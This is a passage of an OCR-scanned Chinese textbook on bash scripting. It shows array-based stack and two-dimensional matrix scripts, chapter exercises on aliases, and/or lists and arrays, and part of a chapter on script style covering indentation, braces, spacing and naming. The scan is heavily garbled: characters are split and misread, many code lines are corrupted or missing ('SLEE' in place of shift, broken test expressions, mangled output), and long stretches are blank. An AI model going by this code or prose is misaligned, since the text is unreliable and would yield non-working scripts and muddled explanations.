，combine 的 第 0 一 5 个 元 素 依 次 存放 了 city 和 person 数 贡 
组 的 赋值 是 不 连续 的 ， 但 是 ， 进 行 数 组 连接 操作 之 后 ，person 数组 不 连续 的 元 素 已 经 按 序 在 
空 后 ,将 city 和 person 数组 赋 给 combine[0] 和 combine[1] 
两 个 元 素 ，combine[0] 存 放 了 city 数组 的 3 个 元 素 ， 并 包含 分 隅 这 3 个 元 素 的 2 个 空格 符 ， 

fF£，combine[1] 存 放 了 person 数组 的 3 个 元 素 及 其 空格 符 ， 而 且 person 数组 不 连续 赋值 在 
combine[1] 中 已 经 看 不 出 了 。 
数组 是 Shell 编程 中 的 一 种 用 途 极为 广泛 的 结构 ， 而 
。 限 于 篇 幅 ， 本 节 仅 介 绍 数组 的 字符 串 操作 、read/munset 和 数组 连接 三 方面 
过 两 个 更 复杂 的 例子 继续 讲述 Shell 数组 的 用 法 。 


























放 到 combine 数组 了 。combine 数组 清 



























































的 运行 速度 和 存储 效率 。bash Shell 不 














论 上 可 以 实现 ， 但 是 具有 相当 的 

































































Shell 对 数组 的 操作 和 处 型 











日 的 6 个 元 素 ， 尽 管 person 数 





























的 内 容 ， 下 一 






































结构 ， 为 读者 使 用 bash Shell 实现 数据 结构 提供 参考 。 




















首先 ， 我 们 给 出 利用 数组 实现 堆 











例 14-17: stack.sh 脚本 演示 利用 








!/bin/bash 


MAXTOP=50 


TOP=$MAXTOP 


TEMP= 
declare -a STACK 














push () 








Me IT 
then 

return 
ul 




















栈 的 脚本 ， 脚 本 名 为 stack.sh， 内 容 如 下 : 
实现 堆栈 的 方法 


# 堆 栈 所 能 存放 元 素 的 最 大 值 


# 定 义 栈 项 指 旬 


# 定 义 一 个 临时 


# 定 义 全 局 数组 STACK 





push 函数 是 进 栈 操作 ， 可 以 同时 将 多 个 元 素 压 入 堆栈 


# 若 无 人 有 








FE 何 参数 和 输入， 立即 返 匠 


|， 初 始 值 是 $MAXTOP 





全 局 变量 ， 存 放出 栈 元 素 ， 初 始 值 为 空 
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# 下 面 的 until 循环 将 push 函数 的 所 有 参数 都 压 入 堆栈 
until [ $# -eq 0 ] 





do 

let TOP=TOP-1 # 栈 顶 指针 减 1 
STACK[$TOP]= $1 # 将 第 1 个 参数 压 入 堆栈 
SLEE # 脚 本 参数 左 移 1 位 ，$# 减 1 
done 

return 


} 








#pop 函数 是 出 栈 操作 ， 执 行 pop 函数 使 得 栈 项 元 素 出 栈 








pop() 

TEMP= # 清 空 临 时 变量 

if "OTOp" ed "IMAXTOP™] # 若 堆栈 为 室 ， 立 即 返 回 
then 

return 

全 于 

TEMP=${ STACK[$TOP]} # 栈 顶 元 素 出 栈 

Umnsee TiAl 

let TOP=TOP+1 # 栈 顶 指针 加 1 

return 


status 函数 用 于 显示 当前 堆栈 内 的 元 素 ， 以 及 TOP 指针 和 TEMP 变量 


sa 








EEG 二 二 二 二 二 二 二 二 二 二 二 二 二 二 二 二 二 二 二 二 三 二 二 二 王 二 
Sone = 
GE 1 Ti LA 

do 
echo $i 

done 

echo 

En 

echo "Just Popped N""$TEMP"\" Off the stack" 
Eee 





ecno 











# 下 面 进入 测试 堆栈 功能 的 代码 段 











push yukicaidqing Be 个 天 未 
SSEUS 

push zawuster robin tang 人 作 宇 人 ES 
SEE 

pop 出 栈 

pop 出 栈 
SU 

Pus ne 是 从 和 介 元 未 
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UsnEaUmunsangemenun 
SEEDS 


stack.sh 脚本 利用 数组 实现 了 堆栈 操作 。 我 们 曾 在 9.1 节 介 绍 DIRSTACK 变量 
鳌 述 。stack.sh 脚本 定义 了 三 个 函 
函数 能 将 字符 串 压 入 堆栈 ，pop 函数 能 弹出 栈 顶 元 素 ，status 函数 打印 当前 堆栈 的 状态 信息 

















绍 了 堆栈 的 概念 ， 在 此 不 再 




















另外 ，stack.sh 脚本 定义 了 四 个 全 局 变量 : 














录 最 近 出 栈 的 元 素 ; 数组 STACK 记录 了 堆栈 内 容 。push 函数 较为 复杂 ， 它 可 
输入 参数 ， 也 就 是 可 以 同时 将 多 个 元 素 压 入 堆栈 ，push 函数 首先 利 
数 $1 是 否 为 宝 ， 如 果 $1 为 空 ， 说 明 无 字符 串 需 要 入 栈 ，push 函数 立即 结束 ;， 否则 











# 压 入 两 个 元 素 



































时 简单 介 


数 : push、pop 和 status，push 





MAXTOP 记录 了 堆栈 的 最 大 长 度 ， 即 堆栈 最 多 可 
以 包含 MAXTOP 个 元 素 ; TOP 记录 栈 顶 指针 ， 即 指向 当前 栈 顶 元 素 的 数组 标号 ， TEMP 记 



































以 紧 跟 任意 个 
用 if/then 结构 判断 位 置 参 








在 若干 元 素 需 要 入 栈 。 接 着 ，push 函数 使 用 了 until 循环 结构 逐个 将 输入 参数 压 入 堆栈 ， 循 环 











体内 的 入 栈 操作 首先 将 TOP 指针 减 














STACK[$TOP]=$1 语句 将 位 置 参数 $1 赋 给 TOP 指针 所 对 应 的 STACK 数组 元 素 , 这 样 的 赋值 


























1， 即 TOP 指针 移动 到 一 个 新 位 置 ， 











然后 ， 























方式 使 得 堆栈 的 第 1 个 元 素 存储 在 STACK 数组 的 MAXTOP-1 位 置 、 第 2 个 元 素 存 储 在 
STACK 数组 的 MAXTOP-2 位 置 、 第 3 个 元 素 存储 在 STACK 数组 的 MAXTOP-3 位 置 ， 以 此 








类 推 。 将 一 个 位 置 参数 压 入 堆栈 后 ， 执 行 shift 命令 ，shift 命令 完成 两 个 功能 : 
$3 移 到 $2 的 位 置 ， 以 此 类 推 ， 第 二 ，9$# 变 量 值 减 
1。 依赖 上 述 的 shif 命令 的 两 个 功能 , 下 一 次 的 until 循环 就 可 以 对 下 一 个 位 置 参数 进行 处 理 ， 




















位 置 参数 左 移 1 位 ， 即 $2 移 到 $1 的 位 置 ， 


区 















































第 一 


， 所 有 的 









































被 处 理 的 位 置 参 数 标 号 依然 是 $1， 直 到 $# 变 量 等 于 0 时， 所 有 的 位 置 参数 处 理 完毕 
环 结束 ，push 函数 随 之 结束 。pop 函数 相对 简单 ， 首 先 判断 TOP 是 否 等 于 MAXTOP， 若 是 ， 
则 表明 堆栈 中 无 元 素 ， 无 须 执 行 pop 操作 ,否则 ， 利 用 TEMP=${STACK[$TOP]} 赋 值 语句 ， 




















将 栈 顶 元 素 赋 给 TEMP 变量 ， 

















，muntil 循 




















清空 STACK[$TOP] 的 值 ， 并 将 TOP 指针 加 1，TOP 指针 就 指 


癌 了 下 一 个 栈 项 元 素 。status 利用 for 循环 输出 STACK 数组 的 所 有 元 素 ,， 即 堆栈 的 全 部 内 容 ， 


并 输出 TOP 变量 和 TEMP 变量 。 





三 个 函数 之 后 ， 我 们 在 stack:sh 脚本 
函数 ， 第 2 个 push 函数 同时 将 三 个 元 素 压 入 堆栈 ， 再 执行 两 次 pop 函数 ， 最 后 ， 


二 
结果 : 

















push 函数 。 下 面 给 出 stack.sh 脚本 的 执行 
# 例 14-17 stack.sh 脚本 的 执行 结果 


添加 了 测试 堆栈 的 一 段 代 码 ， 首 先 执行 








两 次 push 















































[root@zawu shell-program]# chmod ut+x stack.sh 





[root@zawu shell-program]# 
# 执 行 完 push yukicaiqing 后 的 结果 


yukicaiqing 


Stack Pointer=49 


dust popBed "orf Ehe staek 








/staceash 




















从 


























执行 两 次 
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‘olga 


zawuster 
uceaacaung 


Stack Pointer=46 
Just popped off thelstacek 


zawuster 
Yuenmeaacamng 


Stack Pointer=48 
yust oooBeod on ot ethenetaek 


# 执 行 完 push Knuth 和 push Ullman Yanchun 之 后 的 结果 





==========STACK========== 
Yanchun 

Ullman 

Knuen 

zawuster 

yukiecalding 


Stack Pointer=45 
st oe obnm oct hetaek 


[root@zawu shell-program]# 
上 面 的 stack.sh 脚本 执行 结果 清晰 地 显示 了 执行 这 些 命令 之 后 堆栈 状态 的 变化 。 需 要 说 
明 的 是 ， 当 执行 push Ullman Yanchun 等 将 多 个 元 素 进 栈 操 作 时 ，stack.sh 脚本 先 将 Uliman 压 
入 堆栈 ， 再 将 Yanchun 压 入 堆栈 ， 因 此 ，Yanchun 是 栈 顶 元 素 。 

下 面 再 介绍 一 个 利用 数组 实现 二 维 数 组 的 例子 。 二 维 数 组 可 以 表示 矩阵， 具有 广泛 的 用 
途 ， 下 面 给 出 的 matrix.sh 脚本 创建 一 个 5x5 的 二 维 数组 ， 并 以 逐 行 打印 和 旋转 45” 打 印 两 
种 方式 打印 该 二 维 数组 ，matrix.sh 脚本 内 容 如 下 : 


#14-18: matrix. sh 脚本 创建 一 个 二 维 数组 ， 并 以 两 种 方式 将 它 打印 出 来 
#!/bin/bash 





















































































































































# 定 义 行 数 、 列 数 ， 及 数组 名 
ROW=5 

COL=5 

declare -a MATRIX 


toagyaltene 
1 

es 本 < 三 由 
local index 


#for 循环 将 A~Y 这 25 个 字符 存储 到 MATRIX 数组 
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人 


do 
Tocal em Sexo dee ein 
local column= “expr $rc $ $ROW. 
let vindex = $row * $RoOwSs + $column™ 
alpha[$index]= $i 
Tee vre d= 1 
done 


} 

Emaliomra 全 
{ 

local row=0 
local index 


echo 


# 逐 行 打印 MATRIX 数组 


while [ "$row" -lt "$ROW" ] 
ale 
local column=0 
Sehes To 
wre ll Weelonir =Le wom 
do 


let "index = $row * $Rows + $column" 
echo En "“${alphalindex]} ™ 
let column += 1™ 








done 

let "row += 1" 

echo 
done 
echo 
} 
Eileere () # 过 滤 掉 负 的 数组 下 标 . 
{ 
Seney ne # 产生 倾斜 . 

# 解释 一 下 ， 这 是 怎么 做 到 的 . 

AAS 
then 


let vindex = $1 * $ROW + $2™ 
# 现在 按照 旋转 方向 进行 打印 . 
echo -n " ${alpha[lindex]}" 























# alpha[$row] [ $column] 
人 
} 
rotate () # 将 数组 逆 时 针 旋 转 45° 
{ # 从 左下 角 进行 “ 平 衡 ”. 























local row 
eco e om 


for (( Fow = ROW: EOwW > =ROW: FOW== )) 
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流 
en 
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ER 
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do 
eeeolmm 0 eo oo 
do 


Tew oreo 


then 
ee em 
Te WS = (Gli 
else 
le wel = Keo 
Ieee2 Poonmmn oem 
人 


filter $t1 $t2 
done 
eene eene 
done 


} 





# 下 面 利用 上 述 函 数 创 建 





# 将 负 的 数组 下 标 过 滤 出 来 





维 数组 ， 逐 行 和 旋转 45” 打 印 数组 





load alpha 
Primteyala 
EeEsss 


加 载 数组 
打印 数组 
逆 时 针 旋 转 45” 打 印 





matrix.sh 脚本 定义 三 个 全 局 变量 





旺 ，ROW 和 COL 分 A 维 数组 的 行 数 和 列 数 ， 




















MATRIX 是 数组 名 。 然 后 ，matrix.sh 脚本 定义 了 四 个 函数 ， 其 
YY 这 25 个 字母 存储 到 MATRIX 数组 中 为 了 模拟 出 三 维 数组 





Pp，load alpha 函数 用 于 将 A 一 

















的 效果 ， 我 们 通过 行 号 和 列 号 
























































计算 出 索引 值 ， 即 index 变量 值 , 而 行 








print_ alpha 孙 
函数 是 为 rotate 函数 作 准 备 的 ，rotate 函数 实 
功能 ， 由 于 MATRIX 算 阵 是 正方 形 ,， 因此， 


























的 负 值 ， 就 可 实现 MATRIX 矩阵 的 逆 时 针 旋 转 。 下 面 给 出 matrix.sh 脚本 的 执行 





#14-18 matrix. sh 脚本 的 执行 结果 
[root@jselab shell-book]# chmod ut+x ma 
[root@jselab shell-book]# 





/are ral 


A DE 
ES 
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RS 
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# 下 面 是 逆 时 针 旋 转 45” 的 MATRIX 数组 打印 结果 
忆 


号 和 列 号 是 
数 实现 逐 行 打印 二 维 数 组 , while 
































循环 通过 对 列 的 控 
现 了 逆 时 
字 tl 和 t2 变量 ， 再 过 波 掉 tt 和 也 变量 


通过 计算 


兰 母 的 序号 来 确定 的 ， 即 re 变量 ; 
制 来 实现 逐 行 打印 功能 ; filter 


针 旋转 45” 打 印 二 维 数 组 MATRIX 的 
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[root@jselab shell-lbook]# 

从 上 述 结果 可 以 看 出 ，matrix.sh 成 功 地 实现 了 二 维 数组 的 创建 、 逐 行 打印 ， 以 及 旋转 45” 
打印 功能 。 事实 上 ，Shell 脚本 语言 是 不 支持 二 维 数组 的 ， 我 们 只 是 用 一 维 数组 模拟 了 二 维 数 
组 ， 二 维 数组 仍然 存储 在 一 维 数组 中 ， 只 是 通过 行 号 和 列 号 能 计算 出 数组 的 索引 而 已 ， 这 种 
方法 可 以 使 Shell 脚本 语言 用 于 定义 二 维 数组 和 算 阵 。 


本 章 小 结 人 


别名 、 列 表 及 数组 这 三 个 知识 点 相对 独立 ， 本 章 分 别 对 这 三 部 分 内 容 进行 了 详细 探讨 。 
首先 介绍 建立 别名 和 删除 别名 的 基本 用 法 ， 并 讨论 了 if/then 结构 、 循 环 和 函数 等 混合 型 结构 
不 文 持 alias 命令 的 特性 ; 其 次 , 介绍 了 与 列表 和 或 列表 两 种 结构 , 包括 与 或 列表 的 基本 格式 ， 
以 及 与 或 列表 的 区 别 等 内 容 ， 最 后 ”从 数组 最 基本 的 赋值 方法 入 手 ， 逐 步 展 开 ， 详 细 讨 论 了 
数组 操作 、 字 符 串 处 理 ， 以 及 如 何 利用 数组 实现 堆栈 和 二 维 数组 等 数据 结构 等 内 容 。 


14.5 we 站 


1. 将 lm 设 为 1s 汪 |more 命令 的 别名 ， 用 于 翻 页 显示 文件 和 目录 列表 ; 将 rm 设 为 rm 二 
的 别名 ， 用 于 递归 删除 某 目 录 。 

2. 编写 一 个 函数 ， 在 函数 中 将 Im 设 为 ls -1| more 命令 的 别名 ， 观 察 执行 Im 命令 是 否 
能 成 功 。 

3. 14.2 节 中 的 andlist1.sh 脚本 也 可 以 改写 成 这 then 结构 ， 下 面 给 出 这 段 代 码 ， 请 执行 以 
下 脚本 ， 并 分 析 if/then 结构 和 与 列表 之 间 的 逻辑 运算 关系 。 


#!/bin/bash 
















































































































































































































































































i [ 一 了 mi ] 


then 
ET 

下 二 

a 2 

then 
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echo "The 2nd argument=$2" 

echo "AL least TWO arguments are passed to this script." 
else 
echo "Less than TWO arguments are passed to this script." 











生生 

exit 0 

4. 下 面 给 出 一 组 嵌 套 的 与 或 列表 ， 执 行 它们 ， 观 察 结果 ， 并 分 析 原 因 。 

false && true || echo "Hello World!" 

false && ( true || echo "Hello World!™ ) 

who || false || echo "Hello World!™" 

who && date || ls 

who && ( date || 1s ) 

5. 下 面 的 脚本 使 得 变量 var 保存 所 有 的 输入 参数 ， 但 是 ， 若 该 脚本 未 带 输入 参数 ，var 















































变量 被 设置 为 默认 值 DEFAULT， 执 行 下 面 的 脚本 ， 体 会 与 列表 灵活 的 用 法 。 


#!/bin/bash 














Var" ] && var=DEFAULT 
ES 


6. 将 14.3.1 节 array printl.sh 脚本 的 for 循环 中 ${fcity[@]} 用 引号 引起 来 ， 并 执行 之 ， 观 
察 结果 。 然 后 ， 将 @ 改 成 *， 再 次 执行 ， 观 察 结果 。 

7. 建立 一 个 数组 ， 数 组 名 为 new array， 需要 对 new array[0] ~ new array[3]、 
new_array[100]、new_array[1000]~new_array[1002]、new _array[2000] 这 些 元 素 进 行 赋值 。 

8， 执行 下 面 的 脚本 ， 体 会 这 些 数组 操作 的 意义 和 用 法 。 


#!/bin/bash 


[ -z 
























































number= (one two three four five six seven) 
echo ${number[0]} 
echo number:0 
echo 


number:6 


] 

} 

number:1} 
echo } 
0 


echo number [0]} 
number[1]} 
number[5]} 
number[*]} 
echo number[@]} 


9. 下面 给 出 另 一 种 输出 数组 所 有 元 素 的 代码 ， 请 读者 将 代码 中 的 array 数组 赋值 ， 然 后 
测试 这 段 代 码 。 


deelare 2areay 


ecno 
ecno 
ecno 





$ 
$ 
$ 
$ 
echo ${#number 
$ 
$ 
$ 
$ 












































element count=${#array[*]} 
Tndex=0 
while ["$index" -lt "$element count" ] 
do 
echo $f{array[$index]} 
let "index=$indext+1" 
done 


10. 下 面 对 14.3.2 节 的 string_array.sh 脚本 进行 了 扩充 ， 以 演示 更 多 的 数组 字符 串 操 作 ， 
请 读者 执行 该 脚本 ， 观 察 结 果 ， 并 分 析 其 原因 。 
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人 





mm mm |) ™ me 


4 


eeneoe Toneaesst natehnntE romae or area 








echo ${city[@]%%s*s} 


echo “Substring Replacement" 
echo ${city[@]//Ma/} 

echo ${city[@]/#Ma/Re} 
En 


11. 14.3.3 节 所 述 的 stack.sh 脚本 利用 数组 实现 了 堆栈 操作 ，push 函数 能 够 同时 将 多 个 
元 素 压 入 堆栈 。 修 改 pop 函数 ， 使 pop 函数 能 带 一 个 输入 参数 ， 该 参数 表示 同时 弹出 多 少 个 
元 素 ， 若 pop 函数 不 带 输入 参数 ， 则 表示 弹出 1 个 元 素 ， 如 : pop 5 表示 弹出 5 个 栈 顶 元 素 、 
pop 9 表示 弹出 9 个 栈 顶 元 素 、pop 表示 弹出 1 个 栈 顶 元 素 。pop 函数 需要 检查 边界 操作 ， 如 : 
堆栈 元 素 小 于 n 却 执行 pop n 时 ，pop 函数 需要 返回 错误 码 。 

12. 利用 stack.sh 脚本 实现 四 则 运算 计算 器 , 能够 计算 四 则 运算 表达 式 的 值 ， 如 : 用 户 
输入 表达 式 3+90*(9-5)3-23 之 后 ， 四 则 运算 计算 器 返回 该 表达 式 的 值 。( 提 示 : 将 数字 、 运 
算 符 、 括 号 先 压 入 堆栈 ， 再 逐个 出 栈 ， 分 别 编写 处 理 数字 、 运算 符 和 括号 的 函数 ) 















































































































































本 章 罗 列 了 无 法 归 入 其 他 章节 的 一 些 混杂 主题 ， 首 先 介绍 Shell 
脚本 编程 必须 了 解 的 问题 : 如 何 编写 优良 风格 的 Shell 脚本 ， 如 何 优化 
Shell 脚本 ; 接着 介绍 两 个 Linux 的 特殊 命令 : shift 和 getopts， 并 讨论 
了 交互 式 和 非 交 互 式 的 Shell 脚本 的 使 用 策略 ; 然后 ， 讲 解 Linux 中 的 
两 个 伪 文 件 系统 : /dev 和 /proc 伪 文 件 系统 ; 最 后 ， 介 绍 Shell 包装 、 
带 颜 色 的 脚本 ， 以 及 Linux 脚本 安全 等 问题 。 
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脚本 编写 风格 /YY 


在 维护 系统 、 排 查 故 障 、 优 化 性 能 的 过 程 中 , 无 一 不 和 Linux Shell 脚本 紧密 相关 ， 所 以 ， 
Shell 脚本 编程 是 提高 我 们 工作 效率 的 有 效 方法 之 一 。 如 果 你 仅仅 是 编写 一 些小 的 脚本 ， 脚 本 
代码 只 有 十 来 行 或 几 十 行 ， 脚 本 风格 并 不 是 那么 重要 。 但 如 果 你 编写 的 脚本 超过 百 行 ， 或 者 
你 希望 过 一 段 时 间 之 后 ， 自 己 还 能 够 正确 地 理解 脚本 的 内 容 ， 就 必须 养 成 良好 的 脚本 编程 习 
惯 。 在 诸多 编程 习惯 中 ， 编 程 风格 是 最 重要 的 一 项 内 容 。 
良好 的 编程 风格 可 以 帮助 开发 人 员 提 高 工作 效率 。 如 果 你 阅读 过 Linux 内 核 源 代码 ， 可 
能 会 被 程序 的 优美 编排 所 倾倒 。 良好 的 编程 风格 可 以 增加 代码 的 可 读 性 , 并 帮助 你 理 清 头绪 。 
良好 清晰 的 版 式 能 让 人 一 目 了 然 , 让 阅读 者 有 清晰 的 逻辑 .Shell 编写 风格 最 能 体现 一 个 Linux 
Shell 程序 员 的 综合 素质 。 

下 面 的 内 容 将 讲解 如 何 编写 恨 好 风格 的 脚本 ， 当 然 这 些 脚本 风格 仅仅 是 本 书 定义 的 编程 
风格 ， 和 希望 通过 本 书 的 学 习 ， 可 以 为 读者 养 成 良好 的 编程 习惯 提供 借鉴 。 

















































































































































































































































































































15.1.1 缩 进 


在 Linux 内 核 的 源 代 码 中 , 可 以 看 到 Linux 内 核 源 代码 的 编码 风格 说 明 ,Linus 为 Linux 内 
核定 义 的 C 语言 编码 风格 要 点 : 缩 进 时 使 用 长 度 为 8 个 字符 宽 的 Tab 键 。 如 果 程 序 的 缩 进 超 
过 3 级 ， 则 应 考 处 重新 设计 程序 。 这 种 编程 风格 同样 可 以 应 用 到 Linux Shell 编程 中 ， 在 这 里 
存 的 缩 进 格式 是 4 个 字符 ,程序 设计 的 风格 最 多 为 3 级 .下 面 的 例 15-1 的 bad_style_indent.sh 
脚本 没有 实现 缩 进 格式 是 4 个 字符 ， 而 是 每 个 字符 都 和 上 面 的 对 齐 ， 这 种 格式 看 起 来 就 非常 
凌乱 ， 不 容易 让 人 一 下 子 看 出 每 个 循环 或 判断 的 范围 。 

例 15-1: 一 种 坏 风格 缩 进 形式 的 脚本 
bacBsey lineeme sl 


! /bin/bash 
power () 









































































































































将 传递 的 参数 值 赋 给 x 和 y 


X=$1 
y=$2 

初始 化 循环 变量 和 结果 
count=1 
result=1 

通过 循环 实现 晨 计 算 
while [ $count -le $y ] 
do 


let "result= result * x" 
Ieee coune eouneeea 
done 

return $result 














提示 用 户 通 过 命令 行 输入 两 个 整数 
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echo "Enter two numbers" 
read numl num2 
# 调 用 函数 将 结果 输出 


power $numl $num2 





answer=$? 








# 将 结果 输出 


echo "$numl to $num2 is $answer" 












































脚本 bad_style_indent.sh 没有 明显 的 空 行 和 编码 解释 , 尤 
人 很 难 通 读 整个 脚本 。 该 脚本 通过 用 户 输入 



































其 是 该 缩 进 的 地 方 没有 缩 进 ， 让 
个 数 ， 用 于 计算 第 一 个 数 的 容 计 算 ， 第 二 个 数 





标 出 了 第 一 个 数 的 多 少 次 过 ,启用 函数 power 完成 该 计算 操作 ， 而 函数 后 的 echo 语句 提示 用 
户 输 入 两 个 数 用 于 窜 计 算 , 通过 最 后 一 行 的 echo 语句 完成 对 窜 计 算 结 果 的 保存 , 输出 结果 为 : 




















# 例 15-1 中 bad style indent.sh 脚本 的 执行 结果 
[root@localhost chapter15]# ./bad style indent.sh 





Enter two numbers 
209 

2 Sg 
[root@localhost chapter1l5]# 


例 15-2 中 的 脚本 good_style_indent.sh 是 对 例 15-1 





可 以 看 出 该 肌 了 然 。 
# 例 15-2: 一 种 好 风格 缩 
#go0d style indent.sh 


#!/bin/bash 


本 让 人 看 上 去 一 日 





























power () 
# 将 传递 的 参数 值 赋 给 x 和 y 


>= 

y=$2 

# 初 始 化 循环 变量 和 结果 
count=1 

result=1 

# 通 过 循环 实现 震 计 算 
while [$count -le $y ] 
do 


let “result= result * x"™ 
Fete eount = Count rool, 
done 
return $result 


户 通 过 命令 行 输入 两 个 整数 


mm 


提示 用 
echo "Enter two numbers: 





read numl num2 
调用 函数 将 结果 输出 


power $numl $num2 














answer=$? 
将 结果 输出 


echo "$numl to $num2 is $answer" 











王 


E 式 的 脚本 ， 是 对 例 15-1 











所 以 ， 在 编写 脚本 时 ， 在 必要 的 时 候 




















x 











通 























P 的 脚本 3 


过 缩 进 来 增加 脚本 的 可 读 





判断 循环 等 结构 中 要 记得 缩 进 ， 其 


一 








的 脚本 good_style_indent.sh 仅仅 是 加 了 必要 的 缩 进 ， 脚 本 


侍 清 还 见 


HQYJ.COM 


行 的 改写 








的 就 是 为 了 清楚 地 定义 

















的 执行 结果 和 伪 














集团 ' 





焉 





远见 教 























生 ， 尤 
个 块 的 开始 


的 bad style indent.sh 脚本 进行 改写 ， 




















其 是 在 函数 或 
和 结束 。 例 15-2 中 
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不 再 显示 其 执行 结果 。 
15.1.2 1 的 格式 


在 Linux Shell 编程 中 ，“ 人” 插 写 主要 用 于 对 函数 体 的 范围 进行 界定 ， 现 有 的 “{}” 插 
号 的 格式 主要 包括 两 种 ， 一 种 是 “{f” 括号 与 “} ”括号 每 个 占用 一 行 ， 缩 进 与 函数 名 一 致 ， 
而 函数 体 则 缩 进 4 个 字符 ， 其 格式 如 下 : 

CT 本 ae dh 


{ 









































commands 





} 
男 外 一 种 格式 是 “{” 括 号 与 浮 数 名 在 同一 行 中 ， 函 数 体 缩 进 4 个 字符 ， 而 “} ”括号 则 
单独 占用 一 行 ， 其 格式 如 下 : 


function name(){ 








command 


command 








} 
这 两 种 格式 都 是 常用 的 “ 同 ” 括 号 的 格式 ， 使 用 时 要 注意 其 一 致 性 ， 不 要 两 种 格式 混用 。 


15.1.3 ”空格 和 空 行 的 用 法 


Linux Shell 脚本 执行 时 ， 空 格 和 空 行 不 占用 内 存 , 所 以 ， 在 编写 Linux Shell 脚本 时 可 以 
使 用 空格 或 空 行 来 使 编写 的 Shell 脚本 看 上 去 美观 大 方 。 

对 于 空格 来 说 ， 缩 进 是 空 出 四 个 空格 而 运算 符 〈 赋 值 运算 符 除 外 ) 前 后 则 空 出 一 个 空 
格 ， 这 样 可 以 使 这 些 运算 符 看 起 来 更 清晰 。 下 面 举例 说 明 : 

a expr num DZ 

value >>= 2 


Value += 6 
V=19 $ 5 


对 于 赋值 运算 符 “=”， 其 左右 不 能 加 空格 ， 和 否则 会 发 生 不 必要 的 错误 ， 错 误 如 下 : 


[root@localhost ~]# value = 4 





























































































































bash valvue: eomnmandnee fround 
[root@localhost ~]# 
对 于 判断 运算 符 来 说 ， 一 般 在 论 后 要 加 空格 与 “[” 运 算 符 隔 开 ， 其 格式 如 下 : 
if [ "$ANSWER" == "$i" ] 
then 
exit; 























1 
对 于 空 行 来 说 ， 空 行 起 着 分 陋 代 码 的 作用 ， 添 加 必要 的 空 行 有 时 是 必需 的 ， 一 般 说 来 ， 
在 函数 的 开始 和 结束 、 判 断 或 循环 的 始 来 、 函 数 调用 始末 以 及 前 后 联系 不 紧密 的 地 方 都 要 加 
空格 ， 这样 的 脚本 更 具有 观赏 性 , 例 15-2 中 的 脚本 其 实 看 上 去 显得 非常 紧凑 ， 可 以 加 上 几 行 
空 行使 代码 更 清晰 。 下 面 的 例 15-3 就 是 在 例 15-2 的 基础 上 加 上 了 空 行 ， 看 上 去 清晰 了 很 多 。 


# 例 15-3: 在 例 15-2 的 基础 上 加 上 必要 的 空 行使 代码 更 清晰 
#!/bin/bash 
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上 # 该 函数 用 于 需 计 算 

power () 

{ 
# 将 传递 的 参数 值 赋 给 x 和 y 
x=$1 
y=$2 


# 初 始 化 循环 变量 和 结果 


count=1 

result=1 

# 通 过 循环 实现 过 计 算 
while [$count -le $y ] 
do 


let result= "expr ${result} * $x " 


eoune=q Sx eo 


done 


# 输 出 循环 结果 
return bso 


} 











# 提 示 用 户 通 过 命令 行 输入 两 个 参数 
echo "Enter two numbers: ™ 
read numl num2 


# 调 用 函数 实现 宕 计算 


power $numl $num2 


# 显 示 结 果 
answer=$? 
echo "$numl to $num2 is $answer" 


15.1.4 判断 和 循环 的 编程 风格 


判断 包括 站 结构 、if/else 结构 、if/elif/else 结构 以 及 case 结构 。 
结构 和 if/elif/else 的 编程 风格 ， 其 他 两 

















#if/else 结构 编程 风格 
DeSSUCD 
then 

commands1 


else 
commands2 


3 


#if/elif/else 结构 编程 风格 
MESxpresesuenl 

then 

commands1 


elif expression2 
then 


AL 


十 请 上 


冲 


名 


和 


| 


格式 就 不 一 一 列举 。 





下 面 列 出 了 常用 的 ifelse 








华 清 远 见 教 

















流 
en 
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commands2 


elif expressionN 
then 
commandsN 


else 
commands (N+1) 


下 证 

循环 主要 包括 for、while 和 until 三 种 循环 ， 其 中 for 循环 和 while 是 比较 常用 的 两 种 循 
环 ， 下 面 是 这 两 种 循环 的 编程 风格 。 

#while 循环 的 编程 风格 

while condition 

da 









































commands 


done 


# 列 表 for 循环 编程 风格 
fo a se 
do 

commands 


done 


# 类 C 风格 的 for 循环 编程 风格 
for lin va condrenen changenvare) 
do 

commands 


done 


15.1.5 ”命名 规范 

在 对 函数 进行 命名 时 ， 每 个 人 都 有 自己 的 标准 。 本 书 会 推荐 两 种 ， 和 希望 这 两 种 标准 成 为 
读者 以 后 编程 时 的 命名 规范 。 比 较 著 名 的 命名 规则 首 推 匈牙利 命名 法 ， 这 种 命名 方法 是 
Microsoft 程序 员 查 尔 斯 :西蒙 尼 (Charles Simonyi) 提出 的 。 其 主要 思想 是 “在 变量 和 消 数 名 
中 加 入 前 级 ， 以 增进 人们 对 程序 的 理解 ”。 匈 牙 利 命 名 法 的 关键 是 : 标识 符 的 名 字 以 一 个 或 
者 多 个 小 写字 母 开 头 作为 前 级 ;前 级 之 后 的 是 首 字 母 大 写 的 一 个 单词 或 多 个 单词 组 合 ， 该 单 
词 要 指明 变量 的 有 用途。 骆驼 (Camel) 命名 法 近年 来 越 来 越 流 行 ， 在 许多 新 的 函数 库 和 Java 
开发 平台 下 使 用 得 相当 多 。 正 如 它 的 名 称 押 表示 的 那样 ， 骆 驼 命 名 法 指 的 是 混合 使 用 大 小 写 
字母 来 构成 标识 符 的 名 字 ， 其 中 的 第 一 个 单词 首 字 母 小 号， 余下 的 单词 首 字 母 大 号 。 帆 斯 卡 
(Pascal) 命名 法 与 骆驼 命名 法 类 似 。 只 不 过 骆驼 命名 法 是 第 一 个 单词 首 字 母 小 写 ， 而 帕 斯 ] 
命名 法 则 是 第 一 个 单词 首 字 母 大 写 。 
对 于 以 上 的 几 种 命名 规则 ， 本 书 认为 对 变量 或 函数 进行 描述 时 常用 的 是 骆驼 命名 法 和 多 
牙 利 命名 法 ， 因 此 ， 我 们 推荐 使 用 这 两 种 命名 标准 。 

对 于 函数 来 说 ， 一 般 是 根据 函数 的 功能 来 进行 命名 ， 通 常 有 两 种 命名 方式 ; 
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15.1.6 


量 的 注释 会 使 脚本 看 起 来 很 复杂 ， 所 以 ， 在 加 注释 时 





日 


次 ， 指 定 该 脚本 作者 、 完 成 脚本 的 日 期 以 及 脚本 的 
于 表示 没有 指定 的 目录 的 错误 ， 然 后 定义 了 一 个 要 删 
定 函 数 名 和 函数 的 用 途 ， A I 
要 的 命令 ， 都 要 注释 该 命令 4 


前 ， 如 果 是 变量 ， 
体 之 前 ， 并 


到 精通 》 
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@ 。 对 于 一 些 复杂 点 的 函数 操作 ， 可 以 使 用 “操作 对 象 + 操 作 ” 的 形式 进行 





J 命名 ， 如 : 








